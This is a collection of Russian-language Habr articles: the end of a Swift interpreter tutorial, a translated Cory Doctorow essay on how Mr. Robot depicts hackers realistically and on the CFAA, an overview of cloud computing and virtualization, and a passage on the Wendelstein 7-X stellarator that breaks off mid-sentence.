(Lexing) let tokens = Lexer.tokenize(input) Парсим полученные токены в дерево (Parsing). var parser = Parser(tokens: tokens) let ast = try! parser.parse() Проходим по дереву, вычисляя значения, находящиеся внутри узлов (Interpreting). let result = try! Interpreter.eval(ast) Resources ruslanspivak.com/lsbasi-part1 www.amazon.com/Compilers-Principles-Techniques-Tools-2nd/dp/0321486811 llvm.org/docs/tutorial Поддержка публикации — компания Edison , которая специализируется на автоматизации асфальтных заводов и разработке платежных систем и терминалов .
https://habrahabr.ru/company/edison/blog/315068/
habrahabr
Mr. Robot убил голливудских хакеров
['хакеры', 'кино', 'сериалы', 'голливуд']
Популярный имидж компьютера как волшебного ящика, способного на всё, нанёс реальный ущерб обществу. Теперь один сериал хочет спасти нас [автор текста — Кори Доктороу: канадский писатель-фантаст,...
Популярный имидж компьютера как волшебного ящика, способного на всё, нанёс реальный ущерб обществу. Теперь один сериал хочет спасти нас [автор текста — Кори Доктороу: канадский писатель-фантаст, журналист, блогер, философ] Десятилетиями Голливуд относился к компьютерам, как к волшебным ящикам, из которых можно извлекать бесконечные сюжетные повороты без всякого уважения к здравому смыслу. Сериалы и фильмы показывали дата-центры, в которые можно было попасть только через подводные заборные клапаны, криптографию, взламываемую при помощи универсального ключа, и электронную почту, письма в которой прибывают по одной штуке за раз, причём написаны они исключительно ЗАГЛАВНЫМИ БУКВАМИ. «Голливудская хакерская хрень», как называет эту ситуацию персонаж Ромеро в одном из ранних эпизодов сериала Mr. Robot, идущего уже второй сезон на USA Network. «Я занимаюсь этим уже 27 лет, и ни разу не сталкивался с вирусом, который демонстрирует анимацию и поёт». Mr. Robot служит поворотным моментом изображения в популярной культуре компьютеров и хакеров, и настал этот момент едва ли не поздно. Наша компьютерная безграмотность привела к серьёзным результатам, с которыми мы боремся уже десятилетия. Mr. Robot, показывая события, случившиеся примерно за год до выхода каждого эпизода, делает отсылки к реальным взломам, утечкам и проблемам с информационной безопасностью, случившимся в недавней истории. Хакеры в сериале, занимаясь взломами, говорят об этом так, как настоящие хакеры говорят о взломах. И такие диалоги несложно было сделать – хакерские презентации с конференций Black Hat и Def Con легко доступны на YouTube. Но Mr. Robot впервые демонстрирует, как большая медиакомпания включила правдоподобность хакерских разговоров в список приоритетов. Сериал отлично справляется не только с разговорами, но и с действиями. Следить за реальными взломами очень скучно: это всё равно, что следить за тем, как работник авиакомпании резервирует вам билет. Кто-то вбивает набор странных слов в терминал, хмурится, качает головой, вбивает что-то ещё, опять хмурится, вбивает ещё, а затем улыбается. На дисплее небольшое отличие в запросе на ввод означает успех. Но шоу правильно схватывает антропологию взлома. То, как хакеры решают, что они будут делать, и как они это будут делать, не имеет прецедентов в истории, поскольку они составляют подполье, отличающееся от всех остальных предыдущих тайных движений наличием отличных и постоянных глобальных коммуникаций. У них также есть борьба за власть, технические и тактические споры, этические затруднения – и всё это можно найти в типичной серии Mr. Robot. Mr. Robot не стал первым реалистичным с точки зрения технологий сценарием, но он вышел вовремя. В 2014 году, когда в USA Network рассуждали на тему того, стоит ли давать зелёный свет пилотному эпизоду шоу, компанию Sony Pictures Entertainment эпично взломали. Взломщики выложили всё – невыпущенные фильмы, частные емейлы, чувствительные финансовые документы – в сеть, что вызвало иски, унижение, и язвительность, не утихшие и сегодня. Взлом Sony привёл директоров студий в восприимчивое состояние, говорит Кор Адана [Kor Adana], специалист по информатике, ставший сценаристом, сценарист и технический продюсер сериала. Адана рассказал, что взлом Sony создал такие условия, в которых то, что люди делают с компьютерами, оказалось достаточно драматичным, чтобы это можно было точно воспроизводить. И вовремя. Традиция использования того, что гики называют Hollywood OS, в которой компьютеры делают невозможные вещи просто для поддержки сюжета, привело не только к появлению плохих фильмов. Оно запутало людей насчёт того, что могут или не могут делать компьютеры. Оно заставило нас бояться не того, чего необходимо опасаться. Оно привело к появлению ужасного закона, наносящего реальный вред. Худший технологический закон В 1983 году Мэтью Бродерик удачно сыграл в фильме «Военные игры» [WarGames] Дэвида Лайтмана, умного и скучающего подростка из Сиэттла, развлекающегося автонабором номеров через примитивный модем его компьютера в поисках систем для изучения и взлома. Когда он подсоединяется к таинственной системе, считая её внутренней сетью компании, разрабатывающей игры, ему почти удаётся начать Третью мировую войну, поскольку на самом деле он подключился к Пентагону, а «Глобальная термоядерная война», которую он запустил – это система автоматического военного ответа, разработанная для запуска тысяч межконтинентальных ракет в СССР. «Военные игры» вдохновили множество подростков на то, чтобы выпросить себе модем на 300 бод и начать эксперименты с сетевыми коммуникациями. В результате возник термин «war­dialing» (военный обзвон – обзвон множества телефонных номеров по порядку), что позже привело к появлению «warwalking» и «wardriving» (военный обход и военный объезд – поиск открытых WiFi сетей). Фильм ужасно показал то, как подросток мог бы попытаться взломать сервер, хотя в результате складывается впечатление, что у системы было меньше степеней защиты, чем бывает на самом деле. Тем не менее, в реальной жизни, судя по всему, кодом запуска ракет действительно долгое время был код 00000000 . Худшим результатом выхода фильма стала паника законотворцев. Закон о компьютерном мошенничестве и неправомерном использовании [Computer Fraud and Abuse Act, CFAA], принятый Конгрессом в 1984 и расширенный в 1986, был антихакерским законом, вдохновлённым представлением о том, что какой-нибудь американский Мэтью Бродерик может начать Армагеддон. До принятия этого закона суд над хакерами представлял собой смесь из представлений юристов о компьютерных реалиях. Людей, взламывавших чувствительные базы данных, судили за кражу электричества, потраченного во время транзакции. Авторы закона понимали, что даже если они запретят конкретные хакерские технологии своего времени, эти запреты потеряют актуальность вместе с технологическим прогрессом, что заставит будущих прокуроров снова искать нужные формулировки. Поэтому в законе был представлен чрезвычайно широкий взгляд на то, что соответствует незаконному взлому, и это делало потенциальным преступником любого человека, получившего неавторизованный доступ к компьютерной системе. Звучит он просто: легально вы можете использовать компьютер только способами, разрешёнными его владельцем. Но закон стал губительной угрозой – тем, что исследователь законов Тим Ву [Tim Wu] назвал «худшим законом в мире технологий». Компании и прокуроры решили, что ваша «авторизация» на использование онлайн-сервиса определяется его пользовательским соглашением – тысячью слов на канцелярском языке, которые никто не читает – и что нарушение этих условий является преступлением. Именно так молодого предпринимателя и активиста Аарона Шварца обвинили в 13 преступлениях, когда он использовал скрипт для автоматического скачивания статей с JSTOR, студенческой базы сети MIT. Шварцу разрешалось скачивать эти статьи, но условия соглашения запрещали использование скрипта для их массового скачивания. Шварц сделал это не случайно – он много раз пытался обойти ограничения на скачивания файлов с JSTOR, и в результате забрался в распределительный щиток в подвале, чтобы напрямую подключиться к свитчу. Но из-за CFAA ему светило 35 лет тюремного заключения, когда в 2013 году он повесился. После «Военных игр» в Голливуде сняли несколько «хакерских фильмов», многие из которых полюбились настоящим хакером. В 1992 году вышел фильм «Тихушники» [Sneakers], снятый по мотивам истории реальных телефонных фрикеров, Джона «Капитан Кранч» Дрейпера и Джозефа «Джойбабблз» Энгрессиа. В 1995 году вышел фильм «Хакеры» [Hackers], в котором были отсылки к 2600: Hacker Quarterly, периодическим слётам хакеров, и Operation Sundevil, печально известным рейдам Секретной службы, арестовывавшей хакеров в 1990-м году (они, кстати, привели к созданию Фонда электронных рубежей, Electronic Frontier Foundation). Но и эти фильмы не демонстрировали технической точности. В «Тихушниках» был дурацкий универсальный ключ, взламывающий любое шифрование; в «Хакерах» был сложный графический вирус, над которым издевался Ромеро из Mr. Robot. В фильмах были представлены музыкальные вирусы и абсурдные пользовательские интерфейсы, отчаянные попытки сделать невизуальную историю визуально интересной. Дальше было хуже. Когда в общественное сознание проникла криптография – сначала через дебаты середины 1990-х по поводу Clipper Chip, который обеспечил бы все компьютеры чёрным ходом, затем через политические дебаты, продолжающиеся и сегодня, она стала частым источником как сюжетных поворотов, так и стонов разочарования, вырывавшихся у реальных хакеров и экспертов по безопасности. Как тот момент в пятой части фильма «Миссия невыполнима», когда хакеры заменили содержимое зашифрованного файла нулями, не расшифровывая его, или как в фильме «Скайфол», когда зашифрованные данные были визуализированы в виде гигантской движущейся сферы. Шифрование в фильмах работает так же, как в представлении законотворцев: идеально, пока не наступает пора былинного провала. Мнения фанатов Кор Адана в основном ответственен за выделяющую сериал Mr. Robot технологическую строгость. 32-летний уроженец Мичигана когда-то работал на автопроизводителя, выискивая дыры в безопасности компьютеров автомобилей. Адана рассказал, что отбросив прибыльную карьеру в кибербезопасности ради работы в Голливуде, он поставил на то, что его опыт в сфере информационной безопасности будет преимуществом, а не странной особенностью. Это оправдалось благодаря доверию создателя шоу, Сэма Эсмаила, наделившего Адану правами спорить с технологами шоу по поводу неважных с виду деталей. Он обеспечивает подсоединение монитора к системному блоку правильным кабелем, или то, что светодиоды активности сетевой карты реально мигают, когда сцена выходит из постобработки. Адана доводит до припадков звуковых инженеров, настаивая на том, что сцены, происходящие в помещениях с большим количеством компьютеров, должны сопровождаться соответствующим уровнем шума от вентиляторов. Адана сражается с юридическим отделом по поводу своей уверенности в необходимости технически правильно отображать хакерские атаки, демонстрируемые в сериале, поскольку знает, что хакеры будут покадрово изучать эпизоды, выискивая в инструкциях командной строки как точные команды, так и понятные им шутки. Таких хакеров среди зрителей меньшинство, но они же и пропагандируют его, и когда недоверчивый штатский спросит посвящённого друга-хакера, может ли произойти то, что показывают в сериале Mr. Robot, хакер сможет энергично закивать, и пообещать, что всё это правда. Ещё одно многообещающее шоу – «Чёрное зеркало», созданное британским сатириком Чарли Брукером, идущее сейчас на Netflix. Оно не такое строгое, как Mr. Robot, поскольку оно происходит в будущем, а не описывает технические детали недавнего прошлого. Но его описание элементов пользовательского интерфейса и дизайна продуктов говорит о понимании принципов работы современных технологий, и, как следствие, того, где они могут оказаться завтра. Клики мышкой в шоу вызывают появление меню с понятными пунктами; непонятность сообщений об ошибках достоверна; и даже отсутствующее выражение лица у людей, увлёкшихся технологией, более реалистично, чем то, чего обычно добиваются другие сериалы. Моя собственная повесть 2008 года для подростков «Младший брат», чей сюжет основан на реальных возможностях компьютеров, находится в разработке в компании Paramount уже целый год. В повести описана армия хакеров-подростков, использующих GPS для отправки приватных емейлов, а радиостанции в игровых консолях – для создания сетей, защищённых шифрованием. На встречах по экранизации все соглашаются на том, что техническую точность истории необходимо перенести на экраны. Это не тривиальный вопрос. Это не вопрос улучшения индустрии развлечений. Когда информационная безопасность определяет, будет ли госпиталь работать, или закроется (как в случае атак с вымогательством, поразивших госпитали США в 2016), и когда взломы серверов могут повлиять на результаты выборов США, ясно, что всем нам нужно лучше понимать, что компьютеры могут сделать для нас, и что – против нас. Адана говорит, что ему доставляют удовольствие встречи с людьми, не занимающимися профессионально информационной безопасностью, и не желающими становиться IT-нердами, но интересующимися безопасностью и приватностью используемых ими технологий. Раньше считалось, что таких людей не существует. Информационная безопасность – одна из тех задач, о самой природе которой невозможно договориться – и отсутствие технологических знаний в коридорах власти комбинируется с отсутствием технологических знаний в государстве. Десятилетия назад фильм «Военные игры» породил наследие из глупых технологических законов, с которыми мы боремся до сих пор. Mr. Robot и последующие за ним передачи могут оставить после себя более счастливое наследие: законы, правила и понимание, помогающее решать самые срочные проблемы нашего времени.
https://geektimes.ru/post/283598/
habrahabr
Облака как любовь
['peter-service', 'clouds', 'cloud computing', 'cloud platform']
Что такое облака, и когда имеет смысл строить облачные решения? И если строить, то какие платформы использовать? Нужно ли предоставлять клиентам облачные сервисы? А может, лучше использовать...
Что такое облака, и когда имеет смысл строить облачные решения? И если строить, то какие платформы использовать? Нужно ли предоставлять клиентам облачные сервисы? А может, лучше использовать виртуализацию? И чем отличается виртуализация от облаков? Эти вопросы задают все IT и «не IT» компании: от крупных операторов связи до небольших стартапов. Давайте попробуем разобраться! В предыдущей статье мы рассмотрели понятия SDN и NFV. Возникает вопрос — если и то и другое связано с виртуализацией и сетями, то это получились облака? Ведь все мы прекрасно знаем, что облака — это виртуализация ресурсов где-то в сети. Я попробовал найти формальное определение облаков, но не нашел. Определения были расплывчаты и нечетки, как настоящие облака. И тогда у меня возникло чувство, что ОБЛАКАМ невозможно дать четкого определения, они как ЛЮБОВЬ, которую можно только описывать и характеризовать с разных сторон. Дальнейшее расследование подтвердило это предположение. Для начала нашел стандарт Cloud Computing , который разрабатывает NIST (National Institute of Standards and Technology). Он выделяет 3 измерения облачных сервисов: Облака Т.е. четкого определения облака нет даже в стандарте. Рассмотрим подробнее все измерения: Модель обслуживания или сервисная модель Следующие понятия наверняка все слышали: IaaS (Infrastructure as a Service) — поставщик предоставляет только вычислительные ресурсы (servers, storage, processing, memory, network bandwidth). При этом может предоставляться набор подготовленных образов OS, которые разворачиваются за несколько минут. Также предоставляется сетевая связность между виртуальными машинами и дополнительные дисковые ресурсы. Отдельной частью IaaS является MaaS (Metal as a Service) — предоставление доступа к голому железу без OS (bare-metal servers). Пример поставщика IaaS: AWS. Платформы для построения IaaS: VMware, OpenStack, Azure. PaaS (Platform as a Service) — поставщик предоставляет операционную систему и определенный софт для самостоятельной реализации заказчиком своих услуг, например, DB, CMS. Примеры: OpenShift, Heroku, Google Cloud Platform, Cloud Foundry. SaaS (Software as a Service) — поставщик предоставляет софт для использования заказчиком, например: Microsoft Office 365, Microsoft Exchange, 1C и т.п. Есть мнение, что настоящие облака это только PaaS и SaaS, но стандарт это мнение не подтверждает. Модель развертывания Теперь про модели развертывания, которые тоже на слуху: Private cloud (Частное облако) — инфраструктура разворачивается внутри организации, тем самым обеспечивается безопасность и производительность. Public cloud (Публичное облако) — инфраструктура предназначена для предоставления услуг сторонним заказчикам. Например, AWS, Google Cloud. Преимущества тут очевидны: не нужен обслуживающий персонал, быстрорасширяемые ресурсы, платишь только за то, что потребил (часы, гигабайты), возможность сосредоточится на идее или бизнесе, а не на обслуживании инфраструктуры. Хорошо подходят для быстрого развертывания небольших систем, для организации стартапов. Community cloud (Общественное облако) — инфраструктура разделяется между несколькими организациями со схожими концепциями потребления ресурсов, политиками в безопасности и т.п. Потребителей меньше чем в публичном облаке, но больше чем в частном. Пример: Google Apps for Government. Hybrid cloud (Гибридное облако) — это комбинация из двух или более различных облачных инфраструктур (частных, публичных или общественных). Среди гибридных облаков есть интересные кейсы использования, например: внутри частного облака организация хранит всю необходимую актуальную информацию, а резервные копии прозрачно отправляются в публичное облако. Функциональные характеристики А вот на функциональные характеристики облаков зачастую не обращают внимание, тогда как для облаков это неотъемлемые требования: Broad Access Network — возможность доступа к ресурсам из Интернета с помощью разнообразных устройств. Rapid Elasticity — эластичность ресурсов. При необходимости быстрое выделение дополнительных ресурсов, вплоть до бесконечности. Measured Services — автоматическое измерение услуг и выставление счетов для оплаты. On-Demand Self Services, Resource Pooling — выделение вычислительных ресурсов (resource pooling) по запросу от заказчиков (on demand). Получается, чтобы Сервис имел право называться облачным, нужно уметь ответить на вопрос «Где он находится по всем трем измерениям?». Обратная сторона облаков Но при всех преимуществах облаков существует ряд моментов, которые могут иметь негативные последствия, особенно в публичных облаках: Облаком сравнительно легко управлять, но обновление софта влияет на тысячи пользователей, что потенциально может привести к серьезным авариям В публичных облаках большие конфигурации не всегда дешевле, надо считать TCO Возникает несколько вопросов к безопасности в публичных облаках: Как обрабатываются конфиденциальные данные? Соблюдены ли требования регулятора к персональным данным? Насколько надежна сохранность данных (дублирование, бекапирование)? Какая защита от хакерских атак? Это все, конечно, не повод отказаться от использования облаков, а причина более тщательно разобраться в плюсах и минусах. Виртуализация Теперь несколько слов про виртуализацию, без которой не может быть облаков. У виртуализации также есть несколько измерений, которые условно можно назвать «Тип» и «Способ виртуализации». Я кратко рассажу обо всех. Для более глубокого погружения в тему рекомендую статью «Обзор методов виртуализации, архитектур и реализаций» Типы виртуализации Виртуализация серверов Обычно под виртуализацией подразумевается размещение нескольких виртуальных серверов в рамках одного физического Но может еще быть объединение нескольких физических серверов в один логический для решения определенной задачи Распределенность + виртуализация = GRID системы Виртуализация ресурсов Ресурсы — это оперативная память, жесткие диски, процессоры. Они также могут быть нарезаны и розданы по частям разным пользователям. Виртуализация приложений Виртуализация приложений — это то, что мы уже знаем как PaaS и SaaS Способы виртуализации Полная виртуализация и паравиртуализация Основные методы виртуализации — это полная виртуализация и паравиртуализация. Схема обоих методов очень похожа. Есть гипервизор и виртуальные машины с гостевыми OS. При полной виртуализации в гостевую OS не вносятся никакие изменения. При паравиртуализации устанавливаются оптимизированные образы для определенного гипервизора. Это позволяет максимально использовать аппаратные ресурсы и не требует никаких изменений от приложений. Примером системы, реализующей полную виртуализацию, является VMware, пример паравиртуализации — Xen и KVM. Еще выделяют несколько способов виртуализации: Виртуализация уровня операционной системы Особенностью является, что гостевая OS может быть только одна. Примером виртуализации на уровне OS является Linux-VServer: Контейнеризация В последнее время все больше используются системы контейнеризации, такие как Docker или Kubernetes. Они позволяют автоматически разворачивать подготовленные образы OS в основном для целей автоматического тестирования и для систем CI. Контейнеры очень похожи на виртуальные машины, но для них не требуется гипервизор, а только соответствующий движок: Эмуляция оборудования При этом способе виртуализации VM полностью эмулирует работу определенного оборудования. С одной стороны, это дает возможность, например, на одном процессоре эмулировать другой тип процессора. С другой стороны, понятно, что при этом будет замедление работы в десятки раз. Пример эмулятора — это Bochs . Эмуляция библиотек OS И для полноты картины добавлю эмуляцию библиотек. Это способ, при котором эмулируется не вся OS, а только часть. Например, Wine в Linux — эмуляция библиотек для Windows-приложений. Получается, что мы можем виртуализировать разные системы разными методами. Т.е. видим, что существующими способами и типами виртуализации можно решить множество задач. Возникает логичный вопрос, когда же имеет смысл разворачивать облачную платформу? Облачные платформы располагаются над набором виртуальных машин, полностью изолируют приложение как от железа, так и от структуры виртуальной среды. Облачные платформы используются для автоматичеcкого и ручного scale in / scale out, запуска / остановки / конфигурирования VM и приложений. Когда имеет смысл оставаться в виртуализации, а когда оставаться в облаке? Концепция следующая: когда всего много — облако, мало — виртуализация: Для задач с большим числом виртуальных серверов — лучше облако, для задач с 10-20 виртуалками можно не разворачивать облачную платформу. Если требуется постоянно менять конфигурацию ресурсов — облако. Много пользователей, данных, клиентов — облако. Несколько слов про платформы для построения облаков. Информации по ним масса, поэтому приведу только сухую выжимку: Платформы для построения облаков Для построения облаков сейчас есть две основные платформы, остальные (Eucalyptus, Cloudstack, Microsoft Azure) занимают несущественную долю. VMware — платформа vSphere. VMware собрала огромное количество технологий, ведет разработку собственной версии OpenStack. OpenStack — образовался в 2010 году, является комплексом проектов свободного программного обеспечения, который может быть использован для создания инфраструктурных облачных сервисов и облачных хранилищ. Организация OpenStack Foundation (2012) насчитывает более чем 1000 организаций и более 30 000 участников. Основные поставщики стека: Mirantis, RedHat, HP. Облачные платформы обычно используются заказчиками для реализации следующих задач: Работа с часто меняющейся конфигурацией железа, о чем мы говорили выше. Предоставление интернет-услуг и другие сетевые приложения. Приложения должны быть «Cloud Ready». Telco Cloud (они же SDN & NFV). Сбор, хранение, обработка BigData. Подробно остановиться на этих задачах и на «Cloud Ready» приложениях планирую в одной из следующих статей. Операторы связи и облака Интересно понять, есть ли облака у мобильных операторов связи? Предоставляют ли они облачные сервисы? Из открытых источников картина получается следующая: Билайн Из облачных услуг предоставляет: PaaS: Виртуальный хостинг SaaS: Microsoft Office 365 МегаФон Есть следы в сети , что в 2013 году МегаФон предоставлял IaaS. Сейчас на сайте из похожего можно найти услугу Colocation . Вместе с тем у МегаФона появилась масса специализированных услуг: CDN, M2M, WiFi авторизация, VPN и т.п. МТС МТС предоставляет облачные услуги под маркой «Белорусские облачные технологии» . IaaS в виде доступа к своему «CloudServer» PaaS: SiteBuilder SaaS: Microsoft Exchange, Microsoft Lync 2013 РТК / Tele2 Tele2 не замечен в попытках продвигать облака, а вот РТК, мобильные активы которого находятся в совместном холдинге с Tele2 (Т2 РТК Холдинг) развернулся серьезно. РТК сделал «Национальную облачную платформу» и теперь на ее базе предоставляет: IaaS: Виртуальные ЦОД-ы SaaS: 1С, Виртуальный офиc Из полученных данных можно сделать вывод, что для мобильных операторов связи предоставление облачных сервисов не является приоритетной задачей, они больше сосредоточены на развитии своих сетей и сервисов. К операторам связи нужно обращаться за сетевыми услугами, такими как: виртуальная АТС, виртуальная сеть, М2М и вообще за всем тем, что может предоставляться на SDN & NFV технологиях: виртуальные Firewall, DPI и т.п. А за вычислительными облаками лучше идти к специализированным провайдерам. Следующие статьи SDN & NFV и при чем тут Облака Облака как любовь Интерфейсы и функциональные блоки NFV Платформы для построения облаков и Cloud Ready Applications Производители и кейсы использования SDN и NFV Готовим NFV в домашних условиях BigData и NFV — есть ли связь?
https://habrahabr.ru/company/billing/blog/317428/
habrahabr
Мегаконструкции. Немецкий стелларатор Wendelstein 7-X
['стелларатор', 'токамак', 'ядерная реакция', 'плазма', 'компьютерное моделирование', 'CAD', 'Wendelstein 7-X', 'причёсанный ёж']
Wendelstein 7-X — крупнейший в мире термоядерный реактор типа стелларатор, который осуществляет управляемый термоядерный синтез. Экспериментальная установка причудливой формы построена в...
Wendelstein 7-X — крупнейший в мире термоядерный реактор типа стелларатор , который осуществляет управляемый термоядерный синтез. Экспериментальная установка причудливой формы построена в Институте Макса Планка по физике плазмы в Грайсвальде для проверки использования такого типа устройств в качестве термоядерной энергостанции. По некоторым прогнозам, к 2100 году потребление энергии на Земле увеличится примерно в 6 раз. Отдельные специалисты считают, что только термоядерная энергетика способна удовлетворить растущие потребности человечества в энергии. 1 грамм водородного топлива (дейтерий и тритий) в такой установке производит 90 000 кВт⋅ ч энергии, что эквивалентно сжиганию 11 тонн угля. Термоядерная энергетика По мнению экономистов и футурологов, человечеству крайне необходим надёжный и мощный источник энергии. Запасы углеводородов в мире ограничены. Если энергопотребление вырастет в шесть раз к 2100 году, то энергосистема нуждается в реформировании и реструктуризации, и чем быстрее — тем лучше. Термоядерная энергетика представляется хорошим вариантом решения проблемы. Атомные ядра состоят из нуклонов (протонов и нейтронов), которые удерживаются вместе сильным взаимодействием. Если добавлять нуклоны в лёгкие ядра или удалять нуклоны из тяжёлых атомов, то разница в энергии связи будет выделяться. Энергия движения частиц переходит в тепловое движение атомов. Таким образом ядерная энергия проявляется в виде нагрева. Изменение состава ядра называется ядерной реакцией. Ядерная реакция с уменьшением количества нуклонов в ядре называется ядерным распадом или делением ядра. Ядерная реакция с увеличением количества нуклонов в ядре называется термоядерной реакцией или ядерным синтезом. Ядерный синтез Управляемый термоядерный синтез отличается от традиционной ядерной энергетики тем, что в последней используется реакция распада, в ходе которой из тяжёлых ядер получаются более лёгкие ядра. В синтезе из лёгких ядер синтезируются тяжёлые. В отличие от цепной ядерной реакции, ядерный синтез носит управляемый характер. Вопрос управляемого термоядерного синтеза на мировом уровне возник в середине 20 века, тогда же появились концепции первых реакторов для управляемого термоядерного синтеза, в том числе токамаков и стеллараторов. До последнего времени учёным не удавалось преодолеть технологические проблемы для доказательства, что управляемый термоядерный синтез действительно можно использовать на практике и такие энергостанции будут рентабельными. Доказать этот факт должны экспериментальные реакторы ITER и Wendelstein 7-X. Стеллараторы Wendelstein 7-X В термоядерном реакторе топливо помещается внутрь магнитного поля и разогревается до температуры около 100 миллионов градусов по Цельсию, при которой проходит стабильная управляемая реакция ядерного синтеза. Стелларатор — тип реактора для осуществления управляемого термоядерного синтеза. Название происходит от лат. stella — звезда, что должно указывать на схожесть процессов, происходящих в стеллараторе и внутри звёзд. Изобретён американским астрофизиком Лайманом Спитцером в 1958 году. Первый образец построен под руководством Спитцера в 1959 году в рамках секретного проекта «Маттерхорн», который в 1961 году после рассекречивания переименовали в лабораторию физики плазмы Принстонского университета . Стелларатор — замкнутая магнитная ловушка для удержания высокотемпературной плазмы. Принципиальное отличие стелларатора от токамака заключается в том, что магнитное поле для изоляции плазмы от внутренних стенок тороидальной камеры полностью создаётся внешними катушками, что, помимо прочего, позволяет использовать его в непрерывном режиме. Его силовые линии подвергаются вращательному преобразованию, в результате которого эти линии многократно обходят вдоль тора и образуют систему замкнутых вложенных друг в друга тороидальных магнитных поверхностей. Стеллараторы были популярны в 50-х и 60-х годах, но затем внимание научного сообщества переключилось на токамаки, которые показывали более обнадёживающие результаты. Всё изменилось в 21 веке. В связи с мощным развитием компьютерных технологий и компьютерных графических программ была оптимизирована магнитная система стелларатора. В результате появилась совершенно новая конфигурация вращательного преобразования не с двумя обмотками, как во всех предыдущих конструкциях стелларатора, а всего с одной обмоткой . Правда, это обмотка очень хитрой формы. Топология стелларатора Wendelstein 7-X в программе компьютерного моделирования с линиями магнитного поля. Планарные (плоские) катушки обмотки обозначены коричневым цветом, непланарные катушки — серым. Некоторые катушки отсутствуют на рендере, чтобы показать строение вложенных структур стелларатора (слева) и сечений Пуанкаре для этих структур (справа). Четыре из пяти внешних катушек фильтра показаны жёлтым цветом, пятая должна быть сверху. Источник: научная работа "Confirmation of the topology of the Wendelstein 7-X magnetic field to better than 1:100,000" , опубликована 30 ноября 2016 года, журнал Nature Communications, doi: 10.1038/ncomms13493 Зачем стелларатору такая причудливая форма? Теорема о причёсывании ежа Теорема о причёсывании ежа утверждает, что на сфере невозможно выбрать касательное направление в каждой точке, которое определено во всех точках сферы и непрерывно зависит от точки. Неформально говоря, невозможно причесать свернувшегося клубком ежа так, чтобы у него не торчала ни одна иголка — отсюда и упоминание ежа в названии теоремы. Теорема является следствием из теоремы о неподвижной точке , доказанной в 1912 году Брауэром. Из теоремы о причёсывании ежа следует, среди прочего, что на поверхности планеты всегда есть точка, в которой скорость ветра равна нулю. Зная о теореме причёсывания ежа, немецкие инженеры спроектировали специфическую форму стелларатора, в которой векторы магнитной индукции «причёсаны» таким образом, чтобы ядерный синтез (образование гелия из водорода) продолжалось по всему замкнутому контуру в центре камеры. Достаточно включить машину — и начинается непрерывный процесс с выделением энергии. Форма стелларатора выводится именно из математических уравнений теоремы о причёсывании ежа. Концепция стелларатора Wendelstein 7-X Форма стелларатора была смоделирована на компьютере, все векторы просчитаны и выверены. Оставался только вопрос: смогут ли инженеры воплотить теорию в жизнь — и на самом деле вылить из металла стелларатор такой необычной формы. Сразу стало ясно, что проект обойдётся очень дорого (по итогу строительство самого стелларатора обошлось в 370 млн евро, а вместе со зданием, зарплатами и другими расходами — 1,08 млрд евро; 80% финансирования взяла на себя Германия, 20% — Евросоюз). Но ставки высоки: источник энергии от термоядерного синтеза сулит революцию в мировой энергетике. Поэтому инженеры приступили к работе. Сборка стелларатора Wendelstein 7-X Сборку стелларатора вели с апреля 2005 года по апрель 2014 года. За девять лет строительства на объект ушло 1,1 миллиона человеко-часов работы. Затем началась техническая подготовка к эксперименту. Проверялась каждая техническая система: вакуумные сосуды, система охлаждения, сверхпроводящие катушки и их магнитное поле, система управления, а также нагревательные приборы и измерительные инструменты. Сборка стелларатора Wendelstein 7-X, ноябрь 2011 года. Фото: IPP, Wolfgang Filser Обмотка стелларатора Wendelstein 7-X состоит из 50 непланарных и 20 планарных сверхпроводящих магнитных катушек. Они герерируют магнитное поле, в котором разогревается водородная плазма до 100 млн градусов по Цельсию. В катушках используются проводники из сплава ниобия и титана. Этот материал переходит в сверхпроводящее состояние при понижении температуры ниже 9,2°К. Охлаждение магнитов стандартное — жидким гелием при температуре −270°C. В связи с необходимостью непрерывного охлаждения катушки установлены внутри криостата, имеющего внутреннюю и внешнюю оболочки, изолированные друг от друга вакуумом. Для изучения и нагрева плазмы используются 254 отверстия в оболочке. Технически стелларатор Wendelstein 7-X состоит из пяти практически идентичных модулей. В каждом из них — оболочка для плазмы, термоизоляция, 10 сверхпроводящих непланарных катушек, 4 соединённых планарных катушки, система трубок для жидкого гелия, сегмент для поддержки центрального кольца и внешняя оболочка. Нагрев плазмы происходит тремя методами: СВЧ-подогрев с мощностью генераторов 10 МВт, подогрев радиоизлучением 4 МВт и подогрев пучком нейтральных частиц 20 МВт. Когда все пять модулей установили на место в основании стелларатора, начались работы по их сварке, соединению систем для подогрева и мониторинга плазмы. Для строительства стелларатора были привлечены компании со всей Европы. Одним из основных подрядчиков была компания MAN Diesel & Turbo, которая занималась в том числе изготовлением стальных сегментов плазменной камеры. В целом виде она имеет внешний диаметр 12,9 м и высоту 2,4 м. Им пришлось решать множество технических проблем. Например, стальные плазменные камеры имеют причудливую форму и должны быть вылиты с допуском +/−2 мм. Каждая камера состоит из 200 колец, а каждое кольцо — из нескольких 15-сантиметровых стальных полосок, искривлённых специальным образом в соответствии со сложной геометрией, рассчитанной в программе компьютерного моделирования в соответствии с формулами теоремы о причёсывании ежа. Модули изготавливали на заводе MAN Diesel & Turbo в Дюссельдорфе. Такая же точность и специфические научные требования предъявлялись к охлаждающим контурам для катушек. Сборка термоизоляции внешней оболочки Организаторы считают, что участие в проекте дало каждой компании неоценимый технический опыт и само по себе было престижным. Например, специалистам компании MAN Diesel & Turbo пришлось осваивать специфические программы 3D-проектирования и электронные лазерные инструменты для оценки геометрии. С тех пор эти инструменты вошли в постоянный производственный процесс компании. Систему подогрева плазмы изготавливали компании Thales Electron Devices (Франция), Element Six (Великобритания), Diamond Materials (Германия) и Reuter Technologie (Германия). Изготовлением ключевых устройств для разогрева плазмы — гиротронов — занималась компания Thales Electron Devices в тесном сотрудничестве с немецкими физиками. Гиротрон — электровакуумный СВЧ-генератор, представляющий собой разновидность мазера на циклотронном резонансе. Источником СВЧ-излучения является электронный пучок, вращающийся в сильном магнитном поле. Излучение генерируется на частоте, равной циклотронной, в резонаторе с критической частотой, близкой к генерируемой. Гиротрон изобрели в СССР в НИРФИ в г. Горьком (ныне — Нижний Новгород). Слева — Один из гиротронов Wendelstein 7-X мощностью 1 МВт для непрерывного микроволнового разогрева плазмы, по центру и справа — окно между гиротроном и внешней оболочкой стелларатора, сделанное из искусственного алмаза, детали изготавливали на заводах Diamond Materials во Фрайбурге и Element Six в Великобритании Плазма внутри реактора удерживается в магнитном поле, но всё равно нельзя избежать её контакта с внутренней оболочкой. Хотя при этом температура плазмы падает до всего лишь 100 000°С, но всё равно внутреннюю сторону стальной камеры требуется покрыть термостойким материалом, который одновременно отводит тепло. Изготовлением таких диверторов занималась австрийская компания Plansee. Инженеры создали конструкционные элементы из новых 